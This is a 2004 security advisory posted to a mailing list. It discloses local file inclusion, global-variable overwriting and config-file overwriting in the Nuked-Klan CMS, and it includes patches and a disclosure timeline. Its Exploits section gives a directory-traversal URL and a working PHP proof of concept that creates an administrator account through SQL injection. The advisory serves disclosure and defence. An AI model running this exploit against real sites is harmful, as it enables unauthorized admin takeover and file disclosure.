[<prev] [next>] [day] [month] [year] [list]
Message-ID: <1082199692.40810e8c111b1@ssl0.ovh.net>
From: advisory at security-corporation.com (advisory@...urity-corporation.com)
Subject: [SCSA-028] Nuked-Klan Multiple Vulnerabilities
=================================================
Security Corporation Security Advisory [SCSA-028]
Nuked-Klan Multiple Vulnerabilities
=================================================
PROGRAM: Nuked-KlaN
HOMEPAGE: http://www.nuked-klan.org
VULNERABLE VERSIONS: b1.4, b1.5, SP2
RISK: MEDIUM/HIGH
IMPACT: Config File Destruction
Local Files Include
Globals Vars Overwriting
RELEASE DATE: 2004-04-16
=================================================
TABLE OF CONTENTS
=================================================
1..........................................................DESCRIPTION
2..............................................................DETAILS
3.............................................................EXPLOITS
4............................................................SOLUTIONS
5...........................................................WORKAROUND
6..................................................DISCLOSURE TIMELINE
7..............................................................CREDITS
8...........................................................DISCLAIMER
9...........................................................REFERENCES
10............................................................FEEDBACK
1. DESCRIPTION
=================================================
Nuked-Klan is a complete CMS with a few intersting modules.
More information is available at http://www.nuked-klan.org
2. DETAILS
=================================================
In the file index.php, we can see the include of nuked.php :
----------------------
include ("nuked.php");
----------------------
In nuked.php are the lines :
-------------------------------------------------------
[...]
include ("conf.inc.php");
[...]
if ($user_langue == ""){$language=$nuked[langue];}
else {$language=$user_langue;}
include ("lang/$language");
[...]
-------------------------------------------------------
A file "lang/$language" is thus included.
This variable can be modified by anyone, with the variable named $user_langue.
Anyone can this include a file from the HD in Nuked-Klan b1.5 and less.
In this version b1.5 are a few other holes.
In the file globals.php are the lines :
-------------------------------------------------------
[...]
nk_globals('HTTP_GET_VARS');
nk_globals('HTTP_POST_VARS');
nk_globals('HTTP_COOKIE_VARS');
nk_globals('HTTP_SERVER_VARS');
[...]
-------------------------------
The nk_globals() function can be found in nuked.php :
---------------------------------------------------
function nk_globals($table) {
if (is_array($GLOBALS[$table])) {
reset($GLOBALS[$table]);
while (list($key, $val) = each($GLOBALS[$table])) {
$GLOBALS[$key] = $val;
}
}
}
---------------------------------------------------
This function will create globals variables. Their names and values are in the
table $table (here GET, POST, COOKIE and SERVER tables).
When these lines are executed in globals.php, the GET, POST and COOKIE vars
become GLOBALS vars.
But if these GLOBALS vars already exists, they are overwrited.
So if the file globals.php is included after the config vars (in conf.inc.php),
then anyone can give new values to these vars.
It is possible in index.php :
-------------------------------------------------------
[...]
if($page!=""){$im_file="$page";}else{$im_file="index";}
}
if (is_file("modules/$file/$im_file.php") ){
include("modules/$file/$im_file.php");
}else{
include("modules/404/index.php");
}
[...]
-------------------------------------------------------
which could include globals.php with the URL :
http://[target]/index.php?file=..&page=globals
Or :
http://[target]/index.php?user_langue=../globals.php
This last url allow to overwrites GLOBALS[] in every modules, like Suggest
(modules/Suggest/index.php) :
-------------------------------------------------------
[...]
function add_sug($data)
{
global $user, $module, $nuked;
opentable();
include("modules/Suggest/modules/$module.php");
$date=time();
$content=make_array($data);
$sql=mysql_query("INSERT INTO $nuked[prefix]"._suggest." VALUES
('','$module','$user[0]','$content','$date')");
echo"
"._YOURSUGGEST."
"._THXPART."
";
redirect("index.php?file=$module",2);
closetable();
}
[...]
-------------------------------------------------------
Here we can change $nuked[prefix] and then insert what we want in the database.
The last problem in b1.5 is the file update.php :
-------------------------------------------------------
<?
[...]
include ("globals.php");
[...]
function install()
{
global $langue;
include ("lang/$langue");
[...]
}
[...]
function edit_config($op)
{
global $langue,$langname;
include ("lang/$langue");
[...]
}
[...]
function update_config($vars)
{
[...]
include ("lang/$vars[langue]");
[...]
$content = "<?php // Generated: $d\n"
[...]
."\$global['db_host'] = '$vars[db_host]';\n"
."\$global['db_user'] = '$vars[db_user]';\n"
."\$global['db_pass'] = '$vars[db_pass]';\n"
."\$global['db_name'] = '$vars[db_name]';\n"
."\$global['type'] = '$vars[type]';\n"
."\$nuked['prefix'] = \"$vars[prefix]\";\n"
[...]
."\$nuked['url'] = '$vars[url]';\n"
[...]
.'?'.'>';
$fp = fopen('conf.inc.php', w);
if (!$fp) die (sprintf('Erreur File Open','conf.inc.php','conf.inc.php'));
fwrite($fp, $content);
fclose($fp);
[...]
}
[...]
switch ($action)
{
[...]
case"edit_config":
edit_config($_GET['op']);
break;
case"update_config":
update_config($_POST);
break;
case"install":
install();
break;
[...]
}
?>
-------------------------------------------------------
This file can include a local file too with $langue and the update_confi()
function can overwrite the config file.
3. EXPLOITS
=================================================
- Include local file :
http://[target]/index.php?user_langue=../../../../../file/to/view
- Create admin (overwriting GLOBALS) :
-------------------------------------------------------
<html>
<head>
<title>Nuked-KlaN b1.5 Create Admin</title>
</head>
<body>
<?
function ascii_sql($str) {
for ($i=0;$i < strlen($str);$i++) {
if ($i == strlen($str)-1){
$ascii_char.=ord(substr($str,$i));
}else{
$ascii_char.=ord(substr($str,$i)).',';
}
}
return $ascii_char;
}
if (isset($_POST["submit"])){
echo "<script>url='".$target."/index.php?
file=Suggest&op=add_sug&user_langue=../globals.php&nuked[prefix]=nuked_users%20
(id,pseudo,pass,niveau)%20VALUES%20(12345,char(".ascii_sql($_POST
["pseudo"])."),md5(char(".ascii_sql($_POST
["pass"]).")),9)/*&module=Gallery';window.open(url);</script>";
echo "<br><br><br><br>Admin should have been created.";
}else{
?>
<form method="POST" action="<? echo $PHP_SELF; ?>">
<b>Target :</b> <input type="text" name="target" value="http://"><br>
<b>Admin Nick :</b> <input type="text" name="pseudo"><br>
<b>Admin Pass :</b> <input type="text" name="pass"><br>
<input type="submit" name="submit" value="Create Admin">
</form>
<?
}
?>
</body>
</html>
-------------------------------------------------------
4. SOLUTIONS
=================================================
You can found patch at the following link : http://www.phpsecure.info
The Nuked-KlaN team were notified and have quickly released a fix.
5. WORKAROUND
=================================================
In globals.php, replace the lines :
-------------------------------------------------------
nk_globals('HTTP_GET_VARS');
nk_globals('HTTP_POST_VARS');
nk_globals('HTTP_COOKIE_VARS');
nk_globals('HTTP_SERVER_VARS');
-------------------------------------------------------
by :
-------------------------------------------------------
if (!get_ini("register_globals")){
nk_globals('HTTP_GET_VARS');
nk_globals('HTTP_POST_VARS');
nk_globals('HTTP_COOKIE_VARS');
nk_globals('HTTP_SERVER_VARS');
}
-------------------------------------------------------
In nuked.php, replace the lines :
-------------------------------------------------------
function nk_globals($table) {
if (is_array($GLOBALS[$table])) {
reset($GLOBALS[$table]);
while (list($key, $val) = each($GLOBALS[$table])) {
$GLOBALS[$key] = $val;
}
}
}
-------------------------------------------------------
by :
-------------------------------------------------------
function nk_globals($table) {
if (is_array($GLOBALS[$table])) {
reset($GLOBALS[$table]);
while (list($key, $val) = each($GLOBALS[$table])) {
if (!isset($GLOBALS[$key])){ $GLOBALS[$key] = $val; }
}
}
}
-------------------------------------------------------
And after the lines :
-------------------------------------------------------
if ($user_langue == ""){$language=$nuked[langue];}
else {$language=$user_langue;}
-------------------------------------------------------
add the lines :
-------------------------------------------------------
if ( eregi("\.\.",$theme) || eregi("\.\.",$page) || eregi("\.\.",$file)
|| eregi("\0",$theme) || eregi("\0",$page) || eregi("\0",$file) ||
eregi("\.\.",$user_langue) || !file_exists("lang/$language") ){
die("What are you trying to do ?");
}
-------------------------------------------------------
6. DISCLOSURE TIMELINE
=================================================
25/02/2003 Vulnerability discovered
01/03/2003 Vendor notified
20/03/2004 Vendor response
20/03/2004 Security Corporation clients notified
20/03/2004 Started e-mail discussions
06/04/2004 Last e-mail received
16/04/2004 Public disclosure
7. CREDITS
=================================================
Germain Randaxhe aka frog-m@n <frog-man@...urity-corporation.com>
from http://www.phpsecure.info is credited with this discovery
8. DISLAIMER
=================================================
The information within this paper may change without notice. Use of
this information constitutes acceptance for use in an AS IS condition.
There are NO warranties with regard to this information. In no event
shall the author be liable for any damages whatsoever arising out of
or in connection with the use or spread of this information. Any use
of this information is at the user's own risk.
9. REFERENCES
=================================================
- Original Version:
http://www.security-corporation.com/advisories-028.html
- Version Fran?aise:
http://www.security-corporation.com/index.php?id=advisories&a=028-FR
10. FEEDBACK
=================================================
Please send suggestions, updates, and comments to:
Security Corporation
http://www.security-corporation.com
advisory@...urity-corporation.com
Powered by blists - more mailing lists